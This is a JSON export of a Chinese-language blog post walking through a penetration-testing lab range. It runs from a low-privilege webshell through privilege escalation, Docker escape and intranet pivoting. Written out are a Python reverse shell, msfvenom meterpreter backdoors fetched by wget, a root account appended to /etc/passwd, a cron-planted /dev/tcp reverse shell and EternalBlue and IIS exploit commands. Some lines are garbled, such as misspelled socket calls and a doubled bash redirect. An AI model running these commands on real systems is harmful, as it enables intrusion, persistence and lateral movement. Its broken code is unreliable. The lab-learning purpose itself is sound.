{"id":74,"date":"2024-08-31T19:57:38","date_gmt":"2024-08-31T11:57:38","guid":{"rendered":"https:\/\/www.nightying.com\/?p=74"},"modified":"2024-08-31T22:06:15","modified_gmt":"2024-08-31T14:06:15","slug":"hack_bachang1","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2024\/08\/31\/hack_bachang1\/","title":{"rendered":"\u4ece\u5916\u7f51\u6253\u70b9\u5230\u6e17\u900f\u5185\u7f51\u57df\u63a7NASA\u5185\u7f51\u9776\u573a"},"content":{"rendered":"\n

\uff08\u56e0\u662f\u4e3a\u4e86\u63d0\u5347\u5185\u7f51\u6e17\u900f\u80fd\u529b\uff0c\u52a0\u4e0a\u6211\u73af\u5883\u5b58\u5728\u4e00\u4e9b\u95ee\u9898\uff0c\u5c31\u6ca1\u6709\u6309\u7167\u6b63\u5e38\u7684webshell\u4e0a\u4f20\uff0c\u5728\u6b64\u8df3\u8fc7webshell\u4e0a\u4f20\u90e8\u5206\uff09<\/p>\n\n\n\n

\uff08\u4e0a\u4f20Lineunm.sh\uff0c \u8fdb\u884c\u4fe1\u606f\u6536\u96c6\uff09<\/p>\n\n\n\n

\u8fde\u4e0a\u4e0a\u4f20\u7684webshell<\/p>\n\n\n\n

<\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u53d1\u73b0\u6743\u9650\u4e3awww\uff0c\u60f3\u529e\u6cd5\u63d0\u6743<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u5185\u6838\u6f0f\u6d1e\u63d0\u6743<\/strong><\/h2>\n\n\n\n

\u4f18\u5148\u67e5\u770b\u7cfb\u7edf\u662f\u5426\u5b58\u5728\u5185\u6838\u6f0f\u6d1e<\/p>\n\n\n\n

#\u67e5\u770b\u53d1\u884c\u7248\u672c\ncat \/etc\/issue\ncat \/etc\/*-release\n#\u67e5\u770b\u5185\u6838\u7248\u672c\nuname -a<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5728\u8fd9\u91cc\u53ef\u4ee5\u770b\u5230\uff0c\u53d1\u884c\u7248\u672c\u662fubuntu 18.04.3<\/p>\n\n\n\n
\u4f7f\u7528\u6f0f\u6d1e\u641c\u7d22\u5de5\u5177-SearchSploit\u67e5\u770b\u7248\u672c\u5b58\u5728\u7684\u6f0f\u6d1e\uff08\u4e00\u822c\u7528kali\uff09<\/p>\n\n\n\n
\u5148\u66f4\u65b0\uff1a<\/p>\n\n\n\n
searchsploit -u<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7136\u540e\u5f00\u59cb\u67e5\u8be2\uff1a<\/p>\n\n\n\n
\n
\"\"<\/figure>\n<\/div>\n\n\n\n
\u5e76\u6ca1\u6709\u67e5\u5230<\/p>\n\n\n\n
(\u8fd9\u91cc\u4ecb\u7ecd\u4e00\u4e0bsearchsploit\u7684\u4f7f\u7528\u65b9\u6cd5\uff09<\/p>\n\n\n\n
#\u67e5\u8be2\u6307\u5b9a\u7a0b\u5e8f\u6216\u7cfb\u7edf\u7684\u6f0f\u6d1e\nsearchsploit \u7a0b\u5e8f\u540d \uff08\u7248\u672c\u53f7\uff0c\u53ef\u9009\uff09\n\n#\u67e5\u8be2\u811a\u672c\u6216\u4ee3\u7801\u4fe1\u606f\nsearchsploit -m \u8def\u5f84\n\n#C\u8bed\u8a00\ngcc xxx.c -o exploit\nchmod +x exploit\n.\/exploit\n\n#\u811a\u672c\u67e5\u8be2\u5bf9\u5e94\u7528\u6cd5\u4f7f\u7528\n.\/xxx\/xxx\/xxx.sh<\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u660e\u6587root\u5bc6\u7801\u63d0\u6743<\/strong><\/h2>\n\n\n\n
\u5927\u591alinux\u7cfb\u7edf\u7684\u5bc6\u7801\u90fd\u548c\/etc\/passwd<\/code>\u3001\/etc\/shadow<\/code>\u8fd9\u4e24\u4e2a\u914d\u7f6e\u6587\u4ef6\u76f8\u5173\u7684\uff1bpasswd\u91cc\u9762\u50a8\u5b58\u4e86\u7528\u6237\uff0cshadow\u91cc\u9762\u662f\u5bc6\u7801\u7684hash\uff1b\u4e14passwd\u662f\u5168\u7528\u6237\u53ef\u8bfb\uff0croot\u53ef\u5199\u3002shadow\u662f\u4ec5root\u53ef\u4ee5\u8fdb\u884c\u8bfb\u5199\u7684\u3002
\u7834\u89e3linux\u7528\u6237\u540d\u548c\u5bf9\u5e94\u7684\u5bc6\u7801<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53ef\u4ee5\u53d1\u73b0cat \/etc\/passwd\u80fd\u591f\u67e5\u770b\uff0ccat \/etc\/shadow\u65e0\u6743\u67e5\u770b\uff0c\u8be5\u529e\u6cd5\u4e5f\u884c\u4e0d\u901a\uff0c\u4f46\u662f\u53ef\u4ee5\u5f97\u77e5\u5f53\u524d\u673a\u5668\u6240\u6709\u7528\u6237\u540d<\/p>\n\n\n\n
\u67e5\u770b\u5f00\u653e\u7aef\u53e3\uff1anetstat -aptn<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
ssh\u7b49\u7aef\u53e3\u5e76\u6ca1\u6709\u5f00\u653e<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u8ba1\u5212\u4efb\u52a1<\/strong><\/h2>\n\n\n\n
\u7cfb\u7edf\u5185\u53ef\u80fd\u4f1a\u6709\u4e00\u4e9b\u5b9a\u65f6\u6267\u884c\u7684\u4efb\u52a1\uff0c\u4e00\u822c\u8fd9\u4e9b\u4efb\u52a1\u7531crontab\u6765\u7ba1\u7406\uff0c\u5177\u6709\u6240\u5c5e\u7528\u6237\u7684\u6743\u9650\u3002\u975eroot\u6743\u9650\u7684\u7528\u6237\u662f\u4e0d\u53ef\u4ee5\u5217\u51faroot\u7528\u6237\u7684\u8ba1\u5212\u4efb\u52a1\u7684\u3002\u4f46\u662f\/etc\/\u5185\u7cfb\u7edf\u7684\u8ba1\u5212\u4efb\u52a1\u53ef\u4ee5\u88ab\u5217\u51fa
\u9ed8\u8ba4\u8fd9\u4e9b\u7a0b\u5e8f\u4ee5root\u6743\u9650\u6267\u884c\uff0c\u5982\u679c\u521a\u597d\u9047\u5230\u4e00\u4e2a\u628a\u5176\u4e2d\u811a\u672c\u914d\u7f6e\u6210\u53ef\u4ee5\u4efb\u610f\u7528\u6237\u53ef\u5199\u7684\uff0c\u8fd9\u4e2a\u65f6\u5019\u5c31\u53ef\u4ee5\u4fee\u6539\u811a\u672c\u7b49\u56de\u8fderootshell\uff1b\u5982\u679c\u5b9a\u65f6\u6267\u884c\u7684\u6587\u4ef6\u65f6python\u811a\u672c\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e0b\u9762\u7684\u811a\u672c\u6765\u66ff\u6362\u4e4b\u524d\u7684\u811a\u672c\u3002<\/p>\n\n\n\n
#!\/usr\/bin\/python\nimport os,subprocess,socket\n\ns=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)\ns.connect((\"10.0.2.4\",\"4444\"))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\np=subprocess.call([\"\/bin\/sh\",\"-i\"])\n<\/strong><\/code><\/pre>\n\n\n\n
\u67e5\u770b\/etc\/crontab\u65f6\uff0c\u6ca1\u6709\u53ef\u5199\u6743\u9650<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u5bc6\u7801\u590d\u7528<\/strong><\/h2>\n\n\n\n
\u5f88\u591a\u7ba1\u7406\u5458\u4f1a\u91cd\u8bfb\u4f7f\u7528\u5bc6\u7801\uff0c\u56e0\u6b64\u6570\u636e\u5e93\u6216\u8005web\u540e\u53f0\u7684\u5bc6\u7801\u4e5f\u8bb8\u5c31\u662froot\u5bc6\u7801\u3002<\/p>\n\n\n\n
\u6709\u4e86\u7591\u4f3croot\u5bc6\u7801\uff0c\u7b2c\u4e00\u65f6\u95f4\u60f3\u5230ssh\u767b\u5f55\uff0c\u4f46\u662fssh\u5f88\u53ef\u80fd\u7981\u6b62root\u767b\u5f55\uff0c\u6216\u8005\u662f\u9632\u706b\u5899\u89c4\u5219\u7b49\u56e0\u7d20\u6392\u9664\u3002\u4e4b\u524d\u5df2\u7ecf\u5f97\u5230\u4e00\u4e2a\u4f4e\u6743\u9650\u7684shell\uff0c\u4f46\u662f\u76f4\u63a5\u5728\u4f4e\u6743\u9650\u91cc\u4f7f\u7528sudo\u662f\u4e0d\u594f\u6548\u7684\u3002\u51fa\u4e8e\u5b89\u5168\u8003\u8651\uff0clinux\u8981\u6c42\u7528\u6237\u5fc5\u987b\u4ece\u7ec8\u7aef\u8bbe\u5907\uff08tty\uff09\u4e2d\u8f93\u5165\u5bc6\u7801\uff0c\u800c\u4e0d\u662f\u6807\u51c6\u8f93\u5165\uff0c\u4e5f\u5c31\u662f\u8bf4sudo\u5728\u8f93\u5165\u5bc6\u7801\u7684\u65f6\u5019\u672c\u8d28\u662f\u8bfb\u53d6\u952e\u76d8\uff0c\u800c\u4e0d\u662fbash\u91cc\u9762\u7684\u5b57\u7b26\u3002\u56e0\u6b64\u8981\u8f93\u5165\u5bc6\u7801\uff0c\u8fd8\u9700\u8981\u4e00\u4e2a\u7ec8\u7aef\u8bbe\u5907\u3002python\u6709\u8fd9\u79cd\u529f\u80fd\u7684\uff0c\u5c31\u662f\u6a21\u62df\u5316\u7ec8\u7aef:<\/p>\n\n\n\n
python3 -c \"import pty;pty.spawn('\/bin\/bash')\"<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6210\u529f\u542f\u52a8\u865a\u62df\u7ec8\u7aef\uff08\u4f46\u662fssh\u7aef\u53e3\u5e76\u6ca1\u6709\u5f00\u653e\uff0c\u6240\u4ee5\u8fd9\u4e2a\u65b9\u6cd5\u4e5f\u884c\u4e0d\u901a\uff09<\/p>\n\n\n\n
<\/p>\n\n\n\n
SUID\u63d0\u6743<\/strong><\/h2>\n\n\n\n
\u539f\u7406\uff1a<\/strong>\u5982\u679croot\u7ed9\u4e00\u4e2a\u7a0b\u5e8f\u8d4b\u4e88\u4e86SUID\u6743\u9650\uff0c\u5219\u666e\u901a\u7528\u6237\u5728\u6267\u884c\u8be5\u7a0b\u5e8f\u8fc7\u7a0b\u4e2d\uff0c\u662froot\u6743\u9650<\/p>\n\n\n\n
\u5229\u7528\uff1a<\/p>\n\n\n\n
find \/ -perm -u=s -type f 2>\/dev\/null<\/strong>\n\nperm\u6307\u5b9a\u6743\u9650\uff0c-u=s\u4ee3\u8868SUID\u6743\u9650\uff0ctype\u6307\u5b9a\u6587\u4ef6\u7c7b\u578b\uff0cf\u8868\u793a\u5e38\u89c4\u6587\u4ef6\u3002\n\nfind test -exec \"whoami\" \/;<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\uff0cfind\u662froot\u6743\u9650\uff0c\u63d0\u6743\u6210\u529f<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u4f7f\u7528kali\u7684msfvenom\u751f\u6210\u540e\u95e8<\/p>\n\n\n\n
msfvenom -p linux\/x64\/meterpreter\/reverse_tcp lhost=192.168.0.106 lport=11111 -f elf > L.elf<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5c06\u6587\u4ef6\u4e0a\u4f20\u81f3\u9776\u673a\u4e2d,\u5e76\u4e14\u8bbe\u7f6e\u6743\u9650chmod +x L.elf<\/p>\n\n\n\n
\u7136\u540ekali\u4f7f\u7528msfconsole\u8fde\u63a5<\/p>\n\n\n\n
msfconsole<\/strong>\nuse exploit\/multi\/handler\nset payload linux\/x64\/meterpreter\/reverse_tcp\nset lhost 192.168.0.106\nset lport 11111\nexploit<\/strong><\/code><\/pre>\n\n\n\n
\u7136\u540e\u518d\u4f7f\u7528find\u63d0\u6743\u5e76\u8fd0\u884c\u9776\u673a\u4e2d\u7684mshell.elf<\/p>\n\n\n\n
find test -exec .\/L.elf \\;<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\uff08\u5982\u679c\u62a5\u9519terminated by signal 11 \u5219\u4ee3\u8868kali\u7aef\u751f\u6210\u6587\u4ef6\u5b58\u5728\u95ee\u9898\u6216\u8005kali\u76d1\u542c\u7684payload\u5b58\u5728\u95ee\u9898\uff09<\/p>\n\n\n\n
<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u8fdb\u884cdocker\u9003\u9038<\/h2>\n\n\n\n
<\/p>\n\n\n\n
\u8fde\u4e0amsf\u4f1a\u8bdd\u540e<\/p>\n\n\n\n
\u5148\u7528getuid\u67e5\u770b\u6743\u9650\uff0c\u5982\u82e5\u6743\u9650\u4f4e\uff0c\u53ef\u4ee5\u5c1d\u8bd5getsystem\u63d0\u6743<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u7136\u540e\u4f7f\u7528shell\u547d\u4ee4\u8fdb\u5165\u4ea4\u4e92\u5f0fshell\uff0c<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u9996\u5148\u5148\u6dfb\u52a0\u4e00\u4e2aroot\u6743\u9650\u7684\u7528\u6237<\/p>\n\n\n\n
<\/p>\n\n\n\n
\u4f7f\u7528openssl\u751f\u6210\u52a0\u5bc6\u5bc6\u7801\nopenssl passwd -1 -salt ying admin@123
<\/div><\/strong>\u5f97\u5230\uff1a$1$ying$hSmAJ2ZHwfZ765Tb9.C5g1\necho 'ying:\u4e0a\u9762\u751f\u6210\u7684\u7ed3\u679c:0:0:root:\/root:\/bin\/bash' >> \/etc\/passwd\n<\/strong>\u4e5f\u5c31\u662f\uff1a\necho 'ying:$1$ying$hSmAJ2ZHwfZ765Tb9.C5g1:0:0:root:\/root:\/bin\/bash' >> \/etc\/passwd\n<\/code><\/pre>\n\n\n\n
\"\"<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u7136\u540e\u521b\u5efa\u4ea4\u4e92shell<\/p>\n\n\n\n
python -c 'import pty; pty.spawn(\"\/bin\/bash\")'\nsu ying\n# \u8f93\u5165\u5bc6\u7801<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u73b0\u5728\u5f00\u59cbdocker\u9003\u9038<\/p>\n\n\n\n
#\u521b\u5efa\u76ee\u5f55\nmkdir \/ying\n# \u628a\u5bbf\u4e3b\u673a\u76ee\u5f55\u6302\u8f7d\u5230ying\u76ee\u5f55\nmount \/dev\/sda1 \/ying\n# \u6539\u53d8\u6839\u76ee\u5f55\u4e3a\/ying\nchroot \/ying<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53cd\u5f39\u5bbf\u4e3b\u673ashell\uff08docker\u9003\u9038\u8fd9\u4e00\u90e8\u5206\u5229\u7528\u7684\u6f0f\u6d1e\u90fd\u4e0d\u4e00\u6837\uff0c\u9700\u8981\u5b66\u4e60\u4e00\u4e0b\uff09<\/p>\n\n\n\n
NC\u53cd\u5f39(kali)\uff1a\nnc -lvvp 11112\n\n(\u9776\u673a\uff09\necho '\/bin\/bash -i >& bash -i >&\/dev\/tcp\/192.168.0.106\/11112 0>&1' > \/tmp\/sec.sh && chmod +x \/tmp\/sec.sh && cat \/tmp\/sec.sh && echo '*\/1 * * * * root bash \/tmp\/sec.sh' >>\/etc\/crontab<\/strong><\/code><\/pre>\n\n\n\n
\u6210\u529f\u53cd\u5f39shell\uff08\u8fd9\u4e2a\u9700\u8981\u7b49\u4e2a\u51e0\u79d2\u949f\u624d\u80fd\u53cd\u5f39\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u63a5\u4e0b\u6765\u9700\u8981\u4e0a\u7ebfmsf\uff1a<\/h2>\n\n\n\n
\u901a\u8fc7wget \u4e0b\u8f7d<\/p>\n\n\n\n
\u5148\u5728kali\u4e0a\u642d\u5efa\u4e00\u4e2ahttp\u670d\u52a1<\/p>\n\n\n\n
python -m http.server 11113<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
wget http:\/\/192.168.0.106:11113\/L.elf<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6dfb\u52a0\u6743\u9650\uff0c\u5e76\u8fd0\u884cchmod +x L.elf<\/p>\n\n\n\n
.\/L.elf<\/p>\n\n\n\n
\u6210\u529f\u4e0a\u7ebf<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
<\/p>\n\n\n\n
\u4f7f\u7528shell<\/p>\n\n\n\n
\u4f7f\u7528\u4f2a\u7ec8\u7aef\u67e5\u770b\u5f53\u524d\u4e3b\u673a\u7684\u5404\u79cd\u4fe1\u606f<\/p>\n\n\n\n
python3 -c 'import pty; pty.spawn(\"\/bin\/bash\")'<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u83b7\u53d6\u5230\u4e86flag\uff0c\u4f46\u6211\u4ec5\u4e3a\u4e86\u5b66\u4e60\u5185\u7f51\u6e17\u900f\uff0c\u6240\u4ee5\u6211\u4e0d\u4f1a\u523b\u610f\u53bb\u5bfb\u627eflag<\/p>\n\n\n\n
\u4f7f\u7528msf\u4e0a\u4f20\u6587\u4ef6\uff0c\u8fdb\u4e00\u6b65\u6e17\u900f\uff0c\u4e00\u822c\u662f\u4e0a\u4f20fscan<\/p>\n\n\n\n
<\/p>\n\n\n\n
upload \u9700\u8981\u4e0a\u4f20\u7684\u6587\u4ef6\u8def\u5f84  \u5bbf\u4e3b\u673a\u7684\u8def\u5f84<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8fd9\u91cc\u628afscan\u4e0a\u4f20\u4e86<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4fee\u6539\u6743\u9650\uff0c\u51c6\u5907\u5bf9\u5185\u7f51\u8fdb\u884c\u6f0f\u626b<\/p>\n\n\n\n
\u5148\u67e5\u770b\u5b58\u5728\u54ea\u4e9b\u7f51\u6bb5<\/p>\n\n\n\n
192.168.0.101\u662f\u6a21\u62df\u7684\u4e92\u8054\u7f51\uff0c\u5185\u7f51ip\u5219\u4e3a192.168.59.138,<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5f00\u59cb\u4f7f\u7528fscan\u626b\u63cf\uff1a<\/p>\n\n\n\n
-h host\u4e3b\u673a -np \u4e0d\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff08\u53ea\u8fdb\u884c\u670d\u52a1\u7684\u626b\u63cf\uff09 -no \u4e0d\u8f93\u51fa\u8be6\u7ec6\u4fe1\u606f -nopoc\u4e0d\u6267\u884cpoc\u626b\u63cf\n.\/fscan -h 192.168.59.0\/24 -np -no -nopoc<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u53d1\u73b0MS17-010\u6709\u4fe9\uff0c\u4e00\u4e2a\u662fwin7 \u4e00\u4e2a\u662fwin2003<\/p>\n\n\n\n
<\/p>\n\n\n\n
msf \u8bbe\u7f6e\u4ee3\u7406\u626b\u63cf\u5185\u7f51<\/p>\n\n\n\n
\u6dfb\u52a0\u8def\u7531\nrun get_local_subnets\nrun autoroute -s 192.168.59.0 255.255.255.0\nrun autoroute -p<\/strong>\n\n#\u89e3\u91ca\uff1a\n#run get_local_subnets\n#\u5217\u51fa\u76ee\u6807\u4e3b\u673a\u4e0a\u5f53\u524d\u53ef\u4ee5\u8bbf\u95ee\u7684\u6240\u6709\u5b50\u7f51\uff0c\u663e\u793a\u7684\u662f\u4e3b\u673a\u8bbf\u95ee\u7684\u7f51\u6bb5\u8303\u56f4\n#run autoroute -s 192.168.59.0 255.255.255.0\n#MSF\u4e2d\u53f0\u5357\u4f73\u4e00\u6761\u8def\u7531\u89c4\u5219\uff0c\u8868\u9762msf\u53ef\u4e0e\u901a\u8fc7\u5f53\u524d\u4f1a\u8bdd\u8bbf\u95ee\u5b50\u7f51192.168.59.0\/24\n#run autoroute -p \u542f\u7528\u6301\u4e45\u6027\u8def\u7531\uff0c\u5373\u4f7f\u4f1a\u8bdd\u80cc\u666f\u5316\uff0c\u8def\u7531\u89c4\u5219\u4f9d\u65e7\u6709\u6548\uff0c\u4e0d\u4f1a\u56e0\u4e3a\u4f1a\u8bdd\u7684\u5207\u6362\u800c\u4e22\u5931\u8def\u7531\u3002<\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u542f\u7528\u4ee3\u7406 \u4f7f\u7528VERSION 5<\/p>\n\n\n\n
background\nuse auxiliary\/server\/socks_proxy\nrun<\/strong>\n\n#\uff08sessions -l \u67e5\u770b\u4f1a\u8bdd\uff09\uff08sessions -i id\u6062\u590d\u4f1a\u8bdd\uff09\n#background \u5c06\u5f53\u524d\u7684msf\u4f1a\u8bdd\u540e\u53f0\uff0c\u8fd9\u6837\u53ef\u4ee5\u4e0d\u5173\u95ed\u5f53\u524d\u4f1a\u8bdd\u8fdb\u884c\u5176\u4ed6\u64cd\u4f5c\u3002\n#use auxiliary\/server\/socks_proxy \u9009\u62e9\u5e76\u4f7f\u7528sockes_proxy\u6a21\u5757\uff0c\u8be5\u6a21\u5757\u662f\u4e00\u4e2asocksdialing\u670d\u52a1\u5668\n#run \u542f\u7528socks\u4ee3\u7406\u670d\u52a1\u5668\uff0c\u9ed8\u8ba4\u76d1\u542c127.0.0.1 1080\u7aef\u53e3<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8bbe\u7f6ekali\u7684\/etc\/proxychains4.conf\u6587\u4ef6<\/p>\n\n\n\n
sudo vi \/etc\/proxychains4.conf\n<\/strong>\n#\u6dfb\u52a0\uff1a\nsocks5 127.0.0.1 1080<\/strong>\n\n#\u63a5\u4e0b\u6765\u7684\u6240\u6709\u5de5\u5177\u60f3\u8981\u8bbf\u95ee\u76ee\u6807\u5185\u7f51\uff0c\u90fd\u9700\u8981\u52a0\u4e0aproxychains\u4ee3\u7406<\/strong><\/code><\/pre>\n\n\n\n
<\/p>\n\n\n\n
\u51c6\u5907\u5f00\u59cb\u653b\u51fbms17-010<\/p>\n\n\n\n
use exploit\/windows\/smb\/ms17_010_eternalblue\nset payload windows\/x64\/meterpreter\/bind_tcp\nset lport 11120\nset rhosts 192.168.59.144\nrun<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
144\u7684\u662f32\u4f4d\u7cfb\u7edf\uff0c\u6539\u4e00\u4e0b\u5229\u7528<\/p>\n\n\n\n
use exploit\/windows\/smb\/ms17_010_psexec<\/strong>\nset RHOSTS 192.168.59.144\nset PAYLOAD windows\/meterpreter\/reverse_tcp \nset LPORT 11130\nrun<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u867d\u7136\u6b65\u9aa4\u90fd\u6210\u529f\u4e86\uff0c\u4f46\u662f\u5728\u6700\u540e\u7684\u4f1a\u8bdd\u5efa\u7acb\u4e0a\u5931\u8d25\u4e86\uff0c\u8fd8\u662f\u6ca1\u529e\u6cd5\u5229\u7528<\/p>\n\n\n\n
\u8fd8\u6709\u4e00\u4e2a197\uff0c197\u7684\u662f64\u7684\uff0c\u5c1d\u8bd5\u5229\u7528<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u6b65\u9aa4\u57fa\u672c\u4e0a\u90fd\u6210\u529f\u4e86\uff0c\u4f46\u662f\u6700\u540e\u5e76\u6ca1\u6709\u5efa\u7acb\u4f1a\u8bdd\uff0c\u6240\u6709\u8fd8\u662f\u6ca1\u6cd5\u5229\u7528\u8d77\u6765<\/p>\n\n\n\n
\u5728fscan\u4e2d\u6709\u626b\u63cf\u5230192.168.59.144\u4e2d\u6709\u4e00\u4e2aweb\u7f51\u7ad9<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u901a\u8fc7curl\u540e\uff0c\u53d1\u73b0\u662fIIS<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u5c1d\u8bd5\u5bfb\u627eIIS\u7684\u6f0f\u6d1e\uff0c\u4f8b\u5982h<\/u><\/b>ttps:\/\/github.com\/zcgonvh\/cve-2017-7269<\/a><\/strong><\/strong><\/p>\n\n\n\n
\u5148\u4e0b\u8f7d\u5230kali\u4e2d\uff0c\u7136\u540e\u590d\u5236\u5230\u8def\u5f84\uff1a<\/p>\n\n\n\n
cp cve-2017-7269.rb \/usr\/share\/metasploit-framework\/modules\/exploits\/windows\/iis<\/strong><\/code><\/pre>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\"\"<\/figure>\n\n\n\n
(\u8fd9\u91cc\u8981\u63d0\u9192\u4e00\u4e0b\uff0cmsf\u65e0\u6cd5\u662f\u8bc6\u522b- \u9700\u8981\u6539\u6210cve_2017_7269\uff0c\u5e76\u4e14\uff0c\u590d\u5236\u540e\u9700\u8981\u91cd\u65b0\u8fde\u63a5msf\uff09<\/p>\n\n\n\n
\u4f7f\u7528\u6f0f\u6d1e<\/p>\n\n\n\n
use exploit\/windows\/iis\/cve_2017_7269<\/strong><\/code><\/pre>\n\n\n\n
\u67e5\u770b\u9700\u8981\u7684\u914d\u7f6e<\/p>\n\n\n\n
show options<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u8bbe\u7f6ehttphost\uff08\u7f51\u7ad9\u4e3b\u673a\uff09\uff0crhost\uff08\u76ee\u6807\u4e3b\u673a\uff09\uff0crport\uff08\u76ee\u6807\u7aef\u53e3\uff09\uff0cpayload\uff08\u53cd\u5f39shell\uff09<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\uff0c\u8fd9\u4e2a\u6d1e\u6211\u5229\u7528\u4e0d\u8d77\u6765\uff0c\u6362\u4e86\u597d\u51e0\u4e2acve.rb\u4e86\uff0c\u7b97\u4e86\uff0c\u53cd\u6b63\u8fd9\u4e2a\u8fdb\u53bb\u4e4b\u540e\u4e5f\u7ed3\u675f\u4e86\uff0c\u76ee\u524d\u67e5\u9605\u7684\u76f8\u5173\u6559\u7a0b\u4e5f\u53ea\u6709\u8fd9\u4e00\u79cd\u65b9\u6cd5\uff0c\u5c31\u5f53\u6e17\u900f\u7ed3\u675f\u4e86\u3002<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\uff08\u56e0\u662f\u4e3a\u4e86\u63d0\u5347\u5185\u7f51\u6e17\u900f\u80fd\u529b\uff0c\u52a0\u4e0a\u6211\u73af\u5883\u5b58\u5728\u4e00\u4e9b\u95ee\u9898\uff0c\u5c31\u6ca1\u6709\u6309\u7167\u6b63\u5e38\u7684webshell\u4e0a\u4f20\uff0c\u5728\u6b64\u8df3\u8fc7webshe […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-74","post","type-post","status-publish","format-standard","hentry","category-shentouceshi"],"_links":{"self":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/74","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/comments?post=74"}],"version-history":[{"count":48,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions"}],"predecessor-version":[{"id":319,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/74\/revisions\/319"}],"wp:attachment":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/media?parent=74"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/categories?post=74"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/tags?post=74"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}